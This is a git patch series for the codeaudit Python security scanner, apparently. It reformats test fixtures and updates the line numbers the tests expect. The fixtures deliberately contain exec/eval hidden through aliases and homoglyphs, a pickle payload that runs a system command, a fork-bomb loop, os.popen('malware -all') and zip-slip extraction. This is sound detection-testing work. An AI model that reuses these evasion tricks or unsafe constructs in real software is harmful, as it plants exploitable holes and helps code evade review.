-# Example of obfuscating dangerous constructs that are hard to find!
+#Example of obfuscating dangerous constructs that are hard to find!
 
 import builtins
-
 b = builtins
 b.exec("2+2")
 
@@ -9,60 +8,47 @@
 print(result)  # 3
 
 x = 1
-eval("x+1")
+eval('x+1')
 
-# now test for obfuscating with exec
+#now test for obfuscating with exec 
 variables = {}
 # Execute the code and store the result in the 'variables' dictionary - The exec return value is None, so we store the result
-b.exec("result = x + 1", {"x": x}, variables)
+b.exec('result = x + 1', {'x': x}, variables)
 # The result is now accessible in the 'variables' dictionary
-print(variables["result"])
+print(variables['result'])
 
 
-ℯ𝓍ℯ𝒸(
-    "print(2 + 2)"
-)  # Confusable homoglyphs - proper AST parsing will be detect this as a regular exec call. When regexes are used (as done in a lot of SAST checkers), the input must be normalized first. Python Code Audit detects this!
+ℯ𝓍ℯ𝒸("print(2 + 2)")  #Confusable homoglyphs - proper AST parsing will be detect this as a regular exec call. When regexes are used (as done in a lot of SAST checkers), the input must be normalized first. Python Code Audit detects this!
 
 
 c = builtins
-result = c.input(
-    "number?"
-)  # Input should not be obfuscated. Code Audit will detect this!
+result = c.input('number?')  #Input should not be obfuscated. Code Audit will detect this!
 print(result)
 
 number = input("number to find a security issue?")
 
 d = builtins
-code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")
-result = d.exec(
-    code_obj
-)  # Input should not be obfuscated. Code Audit will detect this!
+code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec')
+result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this!
 print(result)
 
 e = builtins
-__import__("builtins").exec("2+2")  # This is by default detected by Code Audit
-__import__("builtins").e.exec("2+2")  # This is by default detected by Code Audit
+__import__("builtins").exec("2+2") # This is by default detected by Code Audit
+__import__("builtins").e.exec("2+2") # This is by default detected by Code Audit
 
 
-result = __import__("builtins").eval(
-    "2+2"
-)  # The __import__ should NOT be used in normal Python programs, see doc https://docs.python.org/3/library/functions.html#import__
+result = __import__("builtins").eval("2+2")  #The __import__ should NOT be used in normal Python programs, see doc https://docs.python.org/3/library/functions.html#import__
 print(result)
 
 
-result = getattr(__import__("built" + "ins"), "ev" + "al")(
-    "2+2"
-)  # Is detected since __import is used"
+result = getattr(__import__("built"+"ins"),"ev"+"al")("2+2") #Is detected since __import is used"
 print(result)
 
-result = getattr(__import__("built" + "ins"), "ex" + "ec")("2+2")
+result = getattr(__import__("built"+"ins"),"ex"+"ec")("2+2")
 print(result)
 
 import importlib
-
-# dynamic modules import SHOULD be validated! Never trust, always...
+#dynamic modules import SHOULD be validated! Never trust, always...
 user_input = input("Enter a module name to import: ")
-my_module = importlib.import_module(
-    user_input
-)  # This what you NEVER want, but in practice programs using importlib use dynamic imports. Always understand the code before executing!
-print(f"Successfully imported the {my_module.__name__} module.")
+my_module = importlib.import_module(user_input) #This what you NEVER want, but in practice programs using importlib use dynamic imports. Always understand the code before executing!
+print(f"Successfully imported the {my_module.__name__} module.")
\ No newline at end of file
diff --git a/tests/validationfiles/oschecks.py b/tests/validationfiles/oschecks.py
index 046782e..648880a 100644
--- a/tests/validationfiles/oschecks.py
+++ b/tests/validationfiles/oschecks.py
@@ -1,7 +1,6 @@
-from os import access as check_access
-import os
-
 
+from os import access as check_access 
+import os 
 def nogood():
     if check_access("file.txt", os.R_OK):
         print("Accessible")
@@ -9,26 +8,25 @@ def nogood():
     eval("2 + 2")
     exec("4*23")
 
+
     if os.access("myfile", os.R_OK):
         with open("myfile") as fp:
             return fp.read()
-    os.chmod("myfile", 0o644)  # The 0o prefix denotes an octal number
+    os.chmod("myfile", 0o644) # The 0o prefix denotes an octal number
     print(f"Permissions for '{myfile}' set to 644 (octal).")
 
     return "some default data"
 
-
 import os
-
-os.popen("malware -all")
+os.popen('malware -all')
 bytes_written = os.write(fd, data_to_write)
 bytes_written2 = os.writev(fd, buffers)
 
-pid_zero = os.forkpty()
+pid_zero = os.forkpty() 
 pid = os.fork()
 
 from os import fork as cannothurt
 
-# DO NOT RUN THIS CODE!
+#DO NOT RUN THIS CODE!
 while True:
     cannothurt()  # Creates a new child process
diff --git a/tests/validationfiles/pickle.py b/tests/validationfiles/pickle.py
index 00d8410..6a795f7 100644
--- a/tests/validationfiles/pickle.py
+++ b/tests/validationfiles/pickle.py
@@ -1,19 +1,18 @@
+    
 import pickle
-
 pickle.loads(b"cos\nsystem\n(S'echo hello world'\ntR.")
 
-
 def donotdothis():
-    with open("data.pickle", "rb") as f:
+    with open('data.pickle', 'rb') as f:
         data = pickle.load(f)
 
 
 from pickle import loads as importmalware
 
-importmalware("mysafefile.txt")
+importmalware('mysafefile.txt')
 
 
-# The pickle.Unpickler class is the deserialization engine of the pickle module.
+#The pickle.Unpickler class is the deserialization engine of the pickle module.
 unpickler = pickle.Unpickler(pickled_data_stream)
 
 # Call the load() method to deserialize the data
diff --git a/tests/validationfiles/random.py b/tests/validationfiles/random.py
index 269586d..390ae3c 100644
--- a/tests/validationfiles/random.py
+++ b/tests/validationfiles/random.py
@@ -1,20 +1,19 @@
-import random
 
+import random
 
 def generate_random_float():
-    """
-    Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
-
-    The random.random() function from Python's built-in 'random' module is used
-    to produce this number.
+  """
+  Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
 
-    Returns:
-      float: A random float between 0.0 and 1.0.
-    """
-    random_number = random.random()
-    random.seed(23)
-    return random_number
+  The random.random() function from Python's built-in 'random' module is used
+  to produce this number.
 
+  Returns:
+    float: A random float between 0.0 and 1.0.
+  """
+  random_number = random.random()
+  random.seed(23)
+  return random_number
 
 # Create a Random instance with a fixed seed for reproducibility
 rng = random.Random(42)
@@ -29,4 +28,4 @@ def generate_random_float():
 num_tri = random.triangular(1.0, 10.0, 5.0)
 
 # Generate a larger block of random bytes (e.g., 16 bytes)
-more_data = random.randbytes(16)
+more_data = random.randbytes(16)
\ No newline at end of file
diff --git a/tests/validationfiles/shelve.py b/tests/validationfiles/shelve.py
index b60ad99..9c08723 100644
--- a/tests/validationfiles/shelve.py
+++ b/tests/validationfiles/shelve.py
@@ -1,7 +1,7 @@
 import shelve
 
-with shelve.open("spam") as db:
-    db["eggs"] = "eggs"
+with shelve.open('spam') as db:
+    db['eggs'] = 'eggs'
 
-# line belows also is a weakness, since shelve uses the pickle module
-db = shelve.DbfilenameShelf("mydata.db", flag="c", protocol=None, writeback=False)
+#line belows also is a weakness, since shelve uses the pickle module
+db = shelve.DbfilenameShelf('mydata.db', flag='c', protocol=None, writeback=False)
\ No newline at end of file
diff --git a/tests/validationfiles/shutil.py b/tests/validationfiles/shutil.py
index 9a72d4c..f25965b 100644
--- a/tests/validationfiles/shutil.py
+++ b/tests/validationfiles/shutil.py
@@ -4,26 +4,15 @@
 
 shutil.copy2("source_file.txt", "backup/source_file.txt", follow_symlinks=True)
 
-shutil.copytree(
-    "project",
-    "project_backup",
-    symlinks=False,
-    ignore=None,
-    copy_function=shutil.copy2,
-    ignore_dangling_symlinks=False,
-    dirs_exist_ok=False,
-)
+shutil.copytree("project", "project_backup", symlinks=False, ignore=None, copy_function=shutil.copy2, ignore_dangling_symlinks=False, dirs_exist_ok=False)
 
-shutil.chown(
-    "logs/server.log", user="admin", group="admin", dir_fd=None, follow_symlinks=True
-)
+shutil.chown("logs/server.log", user="admin", group="admin", dir_fd=None, follow_symlinks=True)
 
 # This path should point to the directory you want to delete
-directory_to_delete = "path/to/your/directory"
+directory_to_delete = 'path/to/your/directory'
 
 # Use shutil.rmtree() to remove the directory and its contents
 shutil.rmtree(directory_to_delete)
 
-from shutil import copy as stealmydata
-
+from shutil import copy as stealmydata 
 stealmydata("source_file.txt", "backup/source_file.txt", follow_symlinks=True)
diff --git a/tests/validationfiles/subprocess.py b/tests/validationfiles/subprocess.py
index 596dbcd..e8590f4 100644
--- a/tests/validationfiles/subprocess.py
+++ b/tests/validationfiles/subprocess.py
@@ -3,7 +3,6 @@
 import subprocess
 import os
 
-
 def run_subprocess_commands_simplified():
     """
     Demonstrates the basic use of subprocess.Popen and subprocess.run to execute shell commands,
@@ -18,7 +17,7 @@ def run_subprocess_commands_simplified():
     # 'capture_output=True' captures stdout and stderr.
     # 'text=True' decodes stdout/stderr as text (UTF-8 by default).
     # 'check=True' raises a CalledProcessError if the command returns a non-zero exit code (kept for demonstration, but no try-except).
-    result_ls = subprocess.run(["ls", "-l"], capture_output=True, text=True, check=True)
+    result_ls = subprocess.run(['ls', '-l'], capture_output=True, text=True, check=True)
     print("\nCommand: ls -l")
     print("Return Code:", result_ls.returncode)
     print("STDOUT:\n", result_ls.stdout)
@@ -32,10 +31,9 @@ def run_subprocess_commands_simplified():
     # if 'non_existent_command' truly doesn't exist.
     # If you uncomment this, be aware it will likely stop execution here with an error.
 
+
     print("\n--- Using subprocess.Popen ---")
-    print(
-        "subprocess.Popen is a lower-level function for more advanced process management."
-    )
+    print("subprocess.Popen is a lower-level function for more advanced process management.")
     print("It allows for non-blocking execution, piping, and more granular control.")
 
     # Example 3: Running a command asynchronously with Popen
@@ -43,13 +41,11 @@ def run_subprocess_commands_simplified():
     # We can then interact with the process (e.g., wait, communicate).
     print("\nCommand: echo 'Hello from Popen' && sleep 1 && echo 'Popen finished'")
     # shell=True is used here because '&&' is a shell-specific operator.
-    process = subprocess.Popen(
-        "echo 'Hello from Popen' && sleep 1 && echo 'Popen finished'",
-        shell=True,
-        stdout=subprocess.PIPE,
-        stderr=subprocess.PIPE,
-        text=True,
-    )
+    process = subprocess.Popen("echo 'Hello from Popen' && sleep 1 && echo 'Popen finished'",
+                               shell=True,
+                               stdout=subprocess.PIPE,
+                               stderr=subprocess.PIPE,
+                               text=True)
 
     print(f"Popen process started with PID: {process.pid}")
     print("Waiting for Popen process to complete...")
@@ -64,13 +60,11 @@ def run_subprocess_commands_simplified():
 
     # Example 4: Popen with input (piping data to stdin)
     print("\nCommand: grep 'line' (piping input)")
-    process_grep = subprocess.Popen(
-        ["grep", "line"],
-        stdin=subprocess.PIPE,
-        stdout=subprocess.PIPE,
-        stderr=subprocess.PIPE,
-        text=True,
-    )
+    process_grep = subprocess.Popen(['grep', 'line'],
+                                    stdin=subprocess.PIPE,
+                                    stdout=subprocess.PIPE,
+                                    stderr=subprocess.PIPE,
+                                    text=True)
 
     # Send input to the process's stdin
     input_data = "This is the first line.\nAnd this is the second line.\nNo match here."
@@ -81,35 +75,33 @@ def run_subprocess_commands_simplified():
     print("STDOUT:\n", stdout_grep)
     print("STDERR:\n", stderr_grep)
 
-    # Old things
-    subprocess.check_call(["ls", "-l"])
-    return_code = subprocess.call(["ls", "-l"])
-
+    #Old things
+    subprocess.check_call(['ls', '-l'])
+    return_code = subprocess.call(['ls', '-l'])
 
 # To run the function:
 # run_subprocess_commands_simplified()
 
-
 def simulate_system_command(command):
     print(f"Executing: {command}")
     # getoutput executes the command in a shell and returns the combined stdout and stderr
     output = subprocess.getoutput(command)
-
+    
     if not output:
         print("Command executed successfully (no output).")
     else:
         print(f"System Response:\n{output}")
 
 
-cmd = subprocess.getoutput("kill -9 10")
+cmd = subprocess.getoutput('kill -9 10')
 
 
 # getstatusoutput returns (exit_code, output)
 status, output = subprocess.getstatusoutput(command)
 
 print(f"Command: {command}")
-print(f"Exit Status: {status}")  # 0 usually means success, non-zero means failure
+print(f"Exit Status: {status}") # 0 usually means success, non-zero means failure
 print(f"Output: {output if output else '[No Output]'}")
 
 if status != 0:
-    print("\nResult: The command failed. This is expected in online sandboxes.")
+    print("\nResult: The command failed. This is expected in online sandboxes.")
\ No newline at end of file
diff --git a/tests/validationfiles/syslibrary.py b/tests/validationfiles/syslibrary.py
index 471d0d8..8894753 100644
--- a/tests/validationfiles/syslibrary.py
+++ b/tests/validationfiles/syslibrary.py
@@ -1,16 +1,13 @@
 import sys
 
-
 def my_func(x, y):
     print(f"Adding {x} + {y}")
     return x + y
 
-
 def trace_func(frame, event, arg):
     print(f"TRACE: {event} at line {frame.f_lineno}")
     return trace_func
 
-
 def run_with_trace():
     result = sys.call_tracing(my_func, (3, 4))
     print(f"Result: {result}")
@@ -20,7 +17,6 @@ def my_func(x, y):
     print(f"Adding {x} + {y}")
     return x + y
 
-
 def profile_func(frame, event, arg):
     if event in ("call", "return"):
         code = frame.f_code
@@ -29,20 +25,19 @@ def profile_func(frame, event, arg):
         print(f"PROFILE: {event.upper()} in {func_name} at line {lineno}")
     return profile_func
 
-
 def run_with_profile():
     sys.setprofile(profile_func)
     result = my_func(5, 7)
     sys.setprofile(None)  # Turn off profiling
     print(f"Result: {result}")
 
-
 def run_with_trace2():
     sys.settrace(trace_func)
     my_func(2, 3)
     sys.settrace(None)  # Disable tracing
 
 
+
 def all_sys_shit():
     run_with_profile()
     run_with_trace()
diff --git a/tests/validationfiles/tarfilevalidation.py b/tests/validationfiles/tarfilevalidation.py
index 3278c84..e222dd1 100644
--- a/tests/validationfiles/tarfilevalidation.py
+++ b/tests/validationfiles/tarfilevalidation.py
@@ -1,29 +1,24 @@
-# tarfile extractall is not secure by default
+#tarfile extractall is not secure by default
 import tarfile
 
-
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, "r:gz") as tar:
+    with tarfile.open(file_path, 'r:gz') as tar:
         tar.extractall(path=extract_path)
 
-
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, "r:gz") as donot:
+    with tarfile.open(file_path, 'r:gz') as donot:
         donot.extractall(path=extract_path)
 
-
 class MyExtractor:
     def extractall(self, path):
         print(f"Extracting files to: {path}")
 
-
 extractor = MyExtractor()
 extractor.extractall("/some/directory")
 
-
 def func():
-    with tarfile.open("archive.tar", "r") as tf:
+    with tarfile.open('archive.tar', 'r') as tf:
         # Extract a specific file (replace 'file.txt' with actual member name)
-        tf.extract("file.txt")
+        tf.extract('file.txt')         
         # Extract all files
         tf.extractall()
diff --git a/tests/validationfiles/validation1.py b/tests/validationfiles/validation1.py
index 4be3f1b..dc82b54 100644
--- a/tests/validationfiles/validation1.py
+++ b/tests/validationfiles/validation1.py
@@ -1,11 +1,10 @@
 """File 1 - not real Python file
-result should be
-lines:
+result should be 
+lines: 
 """
 
-from os import access as check_access
-import os
-
+from os import access as check_access 
+import os 
 if check_access("file.txt", os.R_OK):
     print("Accessible")
 
@@ -18,3 +17,4 @@
 return "some default data"
 
 text = "Hello".lower()
+
diff --git a/tests/validationfiles/validation2.py b/tests/validationfiles/validation2.py
index f5f563d..6ba9862 100644
--- a/tests/validationfiles/validation2.py
+++ b/tests/validationfiles/validation2.py
@@ -1,10 +1,9 @@
 """File 2 - not real Python file
-result should be
-lines:
+result should be 
+lines: 
 """
-
 import os
-from os import access as x
+from os import access as x 
 
 if x("file.txt", os.R_OK):
     print("Accessible")
@@ -16,3 +15,4 @@
 return "some default data"
 
 text = "Hello".lower()
+
diff --git a/tests/validationfiles/xml.py b/tests/validationfiles/xml.py
index 99beae4..0fb49c3 100644
--- a/tests/validationfiles/xml.py
+++ b/tests/validationfiles/xml.py
@@ -1,10 +1,9 @@
-from xmlrpc.server import SimpleXMLRPCServer
 
+from xmlrpc.server import SimpleXMLRPCServer
 
 def is_even(n):
     return n % 2 == 0
 
-
 server = SimpleXMLRPCServer(("localhost", 8000))
 print("Listening on port 8000...")
 server.register_function(is_even, "is_even")
@@ -22,10 +21,10 @@ def is_even(n):
 
 
 class RequestHandler(SimpleXMLRPCRequestHandler):
-    rpc_paths = ("/RPC2",)
-
+    rpc_paths = ('/RPC2',)
 
-with SimpleXMLRPCServer(("localhost", 8000), requestHandler=RequestHandler) as server:
+with SimpleXMLRPCServer(('localhost', 8000),
+                        requestHandler=RequestHandler) as server:
     server.register_introspection_functions()
 
     # Register pow() function; this will use the value of
@@ -35,7 +34,7 @@ class RequestHandler(SimpleXMLRPCRequestHandler):
     # Register a function under a different name, using
     # register_function as a decorator. *name* can only be given
     # as a keyword argument.
-    @server.register_function(name="add")
+    @server.register_function(name='add')
     def adder_function(x, y):
         return x + y
 
@@ -44,4 +43,4 @@ def adder_function(x, y):
     def mul(x, y):
         return x * y
 
-    server.serve_forever()
+    server.serve_forever()
\ No newline at end of file
diff --git a/tests/validationfiles/zipfile.py b/tests/validationfiles/zipfile.py
index 8486e82..9b154e1 100644
--- a/tests/validationfiles/zipfile.py
+++ b/tests/validationfiles/zipfile.py
@@ -1,28 +1,26 @@
 from zipfile import ZipFile
 
-
 def insecure_extract(zip_path, extract_to_dir):
     """
     INSECURE: This function is vulnerable to the Zip Slip attack.
     It extracts all files from a zip archive without validating their paths.
-    """
-    with ZipFile(zip_path, "r") as zip_ref:
+    """       
+    with ZipFile(zip_path, 'r') as zip_ref:
         # This line is the vulnerability: it extracts directly without path validation.
         zip_ref.extractall(extract_to_dir)
     print("Extraction attempted (might be insecure).")
-
-    with ZipFile("spam.zip", "r") as myzip:
-        with myzip.open("eggs.txt") as myfile:
+    
+    with ZipFile('spam.zip','r') as myzip:
+        with myzip.open('eggs.txt') as myfile:
             print(myfile.read())
 
-    with ZipFile("example.zip") as zf:
-        with zf.open("file_inside.txt", "r") as file:
-            content = file.read().decode("utf-8")
+    with ZipFile('example.zip') as zf:
+        with zf.open('file_inside.txt', 'r') as file:
+            content = file.read().decode('utf-8')
             print(content)
 
-
 def another_function():
-    with ZipFile("example.zip") as zf:
-        with zf.open("file_inside.txt", "r") as file:
-            content = file.read().decode("utf-8")
+    with ZipFile('example.zip') as zf:
+        with zf.open('file_inside.txt', 'r') as file:
+            content = file.read().decode('utf-8')
             print(content)
diff --git a/tests/validationfiles/zstd.py b/tests/validationfiles/zstd.py
index e833bc0..3b4a3d7 100644
--- a/tests/validationfiles/zstd.py
+++ b/tests/validationfiles/zstd.py
@@ -8,4 +8,4 @@
 print("Compressed size:", len(cdata))
 
 restored = zstd.decompress(cdata)
-print("Matches original:", restored == data)
+print("Matches original:", restored == data)
\ No newline at end of file

From 88fa58e5500b256e878e52fbf62fc88af172192a Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 15:20:31 +0200
Subject: [PATCH 5/8] updated version

---
 src/codeaudit/__about__.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/codeaudit/__about__.py b/src/codeaudit/__about__.py
index b626244..afbebcb 100644
--- a/src/codeaudit/__about__.py
+++ b/src/codeaudit/__about__.py
@@ -1,4 +1,4 @@
-# SPDX-FileCopyrightText: 2025-present Maikel Mardjan
+# SPDX-FileCopyrightText: 2025-present Maikel Mardjan 
 #
 # SPDX-License-Identifier: GPL-3.0-or-later
-__version__ = "1.6.1"
+__version__ = "1.6.2"

From f6c858c99e358d3e6e95cb4fa1e426823b1b5005 Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 15:21:53 +0200
Subject: [PATCH 6/8] fixed __about__ file

---
 src/codeaudit/__about__.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/codeaudit/__about__.py b/src/codeaudit/__about__.py
index afbebcb..829f225 100644
--- a/src/codeaudit/__about__.py
+++ b/src/codeaudit/__about__.py
@@ -1,4 +1,4 @@
-# SPDX-FileCopyrightText: 2025-present Maikel Mardjan 
+# SPDX-FileCopyrightText: 2025-present Maikel Mardjan
 #
 # SPDX-License-Identifier: GPL-3.0-or-later
 __version__ = "1.6.2"

From bc275b3fc107edbc61b631634fc77c3c2d17cf46 Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 15:23:19 +0200
Subject: [PATCH 7/8] fixed tests

---
 tests/test_apicalls.py              |  6 +++++-
 tests/test_basicpatterns.py         |  6 +++---
 tests/test_chmod.py                 |  2 +-
 tests/test_constructspart2.py       | 16 ++++++++--------
 tests/test_correctexceptionuse.py   |  2 +-
 tests/test_directorycreation.py     |  8 ++++----
 tests/test_directorycreation2.py    | 16 ++++++++--------
 tests/test_edgecases.py             |  6 +++---
 tests/test_hashstrenght.py          |  2 +-
 tests/test_obfuscatingbuiltins.py   | 12 ++++++------
 tests/test_oschecks.py              |  7 +++++--
 tests/test_pylintreport.py          |  5 ++---
 tests/test_random.py                | 12 ++++++------
 tests/test_standardlibconstructs.py | 16 ++++++++--------
 tests/test_subprocess.py            | 12 ++++++------
 tests/test_suppression.py           | 24 ++++++++++++------------
 tests/test_suppressionlogic.py      | 22 +++++++++++++++-------
 17 files changed, 94 insertions(+), 80 deletions(-)

diff --git a/tests/test_apicalls.py b/tests/test_apicalls.py
index ed4f660..15f040d 100644
--- a/tests/test_apicalls.py
+++ b/tests/test_apicalls.py
@@ -1,3 +1,7 @@
+# SPDX-FileCopyrightText: 2025-present Maikel Mardjan(https://nocomplexity.com/) and all contributors!
+#
+# SPDX-License-Identifier: GPL-3.0-or-later
+
 import pytest
 from pathlib import Path
 
@@ -51,7 +55,7 @@ def test_get_overview_validfile():
     # This is the expected dictionary - note for testing output!
     expected_data = {
         "FileName": "obfuscating.py",
-        "Number_Of_Lines": 68,
+        "Number_Of_Lines": 54,
         "AST_Nodes": 32,
         "Std-Modules": 2,
         "External-Modules": 0,
diff --git a/tests/test_basicpatterns.py b/tests/test_basicpatterns.py
index f171577..51d1a14 100644
--- a/tests/test_basicpatterns.py
+++ b/tests/test_basicpatterns.py
@@ -17,7 +17,7 @@ def test_basic_patterns():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.access": [9, 15], "eval": [12]}
+    expected_data = {"os.access": [8, 14], "eval": [11]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -35,7 +35,7 @@ def test_basic_patterns2():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.access": [9, 13], "eval": [11], "os": [9, 13]}
+    expected_data = {"os.access": [8, 12], "eval": [10], "os": [8, 12]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -52,7 +52,7 @@ def test_assert_keyword():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"assert": [4, 31]}
+    expected_data = {"assert": [5, 31]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_chmod.py b/tests/test_chmod.py
index dc5cdc1..ea36599 100644
--- a/tests/test_chmod.py
+++ b/tests/test_chmod.py
@@ -20,7 +20,7 @@ def test_chmod_constructs():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"os.access": [6], "os.chmod": [9, 26, 28]}
+    expected_data = {"os.access": [5], "os.chmod": [8, 23, 25]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_constructspart2.py b/tests/test_constructspart2.py
index 954e342..face64c 100644
--- a/tests/test_constructspart2.py
+++ b/tests/test_constructspart2.py
@@ -39,7 +39,7 @@ def test_zipfile_extraction():
 
     # This is the expected dictionary
     expected_data = {
-        "zipfile.ZipFile": [9, 14, 18, 25],
+        "zipfile.ZipFile": [8, 13, 17, 23],
     }
 
     # Assert that the actual data matches the expected data
@@ -60,11 +60,11 @@ def test_shutil_constructs():
     # This is the expected dictionary
     expected_data = {
         "shutil.unpack_archive": [3],
-        "shutil.copy2": [5, 12],
+        "shutil.copy2": [5, 7],
         "shutil.copytree": [7],
-        "shutil.chown": [17],
-        "shutil.rmtree": [25],
-        "shutil.copy": [29],
+        "shutil.chown": [9],
+        "shutil.rmtree": [15],
+        "shutil.copy": [18],
     }
 
     # Assert that the actual data matches the expected data
@@ -85,7 +85,7 @@ def test_input_statement():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"input": [7]}
+    expected_data = {"input": [6]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -103,7 +103,7 @@ def test_marshal_usage():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"marshal.loads": [31], "marshal.load": [37]}
+    expected_data = {"marshal.loads": [30], "marshal.load": [36]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -123,7 +123,7 @@ def test_tar_methods_use():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"tarfile.TarFile": [7, 12, 21, 27, 29]}
+    expected_data = {"tarfile.TarFile": [6, 10, 17, 22, 24]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_correctexceptionuse.py b/tests/test_correctexceptionuse.py
index e5ba306..18ec537 100644
--- a/tests/test_correctexceptionuse.py
+++ b/tests/test_correctexceptionuse.py
@@ -17,7 +17,7 @@ def test_correct_exception_use():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"pass": [20], "continue": [12]}
+    expected_data = {"pass": [19], "continue": [11]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_directorycreation.py b/tests/test_directorycreation.py
index 6ec3310..80c576a 100644
--- a/tests/test_directorycreation.py
+++ b/tests/test_directorycreation.py
@@ -17,7 +17,7 @@ def test_os_makedirs():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.makedirs": [10, 77]}
+    expected_data = {"os.makedirs": [10, 79]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -35,7 +35,7 @@ def test_os_mkdir():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkdir": [22]}
+    expected_data = {"os.mkdir": [23]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -53,7 +53,7 @@ def test_os_mkfifo():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkfifo": [44]}
+    expected_data = {"os.mkfifo": [45]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -71,7 +71,7 @@ def test_os_mknod():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mknod": [61]}
+    expected_data = {"os.mknod": [62]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_directorycreation2.py b/tests/test_directorycreation2.py
index 6650a9d..6e35f7a 100644
--- a/tests/test_directorycreation2.py
+++ b/tests/test_directorycreation2.py
@@ -35,7 +35,7 @@ def test_os_mkdir():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkdir": [25]}
+    expected_data = {"os.mkdir": [26]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -53,7 +53,7 @@ def test_os_mkfifo():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkfifo": [47]}
+    expected_data = {"os.mkfifo": [48]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -71,7 +71,7 @@ def test_os_mknod():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mknod": [64]}
+    expected_data = {"os.mknod": [65]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -89,7 +89,7 @@ def test_os_makedirs():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.makedirs": [13, 80]}
+    expected_data = {"os.makedirs": [13, 82]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -107,7 +107,7 @@ def test_os_makedev():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.makedev": [92]}
+    expected_data = {"os.makedev": [94]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -124,9 +124,9 @@ def test_sys_calls():
 
     # This is the expected dictionary
     expected_data = {
-        "sys.call_tracing": [15],
-        "sys.setprofile": [34, 36],
-        "sys.settrace": [41, 43],
+        "sys.call_tracing": [12],
+        "sys.setprofile": [29, 31],
+        "sys.settrace": [35, 37],
     }
 
     # Assert that the actual data matches the expected data
diff --git a/tests/test_edgecases.py b/tests/test_edgecases.py
index abf0fdf..b027888 100644
--- a/tests/test_edgecases.py
+++ b/tests/test_edgecases.py
@@ -38,8 +38,8 @@ def test_eval():
     # This is the expected dictionary
     expected_data = {
         "exec": [5],
-        "eval": [8, 11, 12, 13, 22, 25, 28, 30, 32],
-        "__import__": [32],
+        "eval": [8, 11, 12, 13, 21, 23, 26, 28, 30],
+        "__import__": [30],
     }
 
     # Assert that the actual data matches the expected data
@@ -78,7 +78,7 @@ def test_eval2():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"eval": [10]}
+    expected_data = {"eval": [8]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_hashstrenght.py b/tests/test_hashstrenght.py
index b7708d6..8f71cdb 100644
--- a/tests/test_hashstrenght.py
+++ b/tests/test_hashstrenght.py
@@ -17,7 +17,7 @@ def test_hash_strenght():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"hashlib.md5": [20], "hashlib.sha1": [21, 49]}
+    expected_data = {"hashlib.md5": [19], "hashlib.sha1": [20, 48]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_obfuscatingbuiltins.py b/tests/test_obfuscatingbuiltins.py
index 95fa7c7..15c1e37 100644
--- a/tests/test_obfuscatingbuiltins.py
+++ b/tests/test_obfuscatingbuiltins.py
@@ -21,12 +21,12 @@ def test_obfucatedbuiltins_usage():
 
     # This is the expected dictionary
     expected_data = {
-        "exec": [6, 17, 22, 37, 43, 44],
-        "eval": [8, 12, 47],
-        "input": [28, 33, 64],
-        "compile": [36],
-        "importlib.import_module": [65],
-        "__import__": [43, 44, 47, 53, 58],
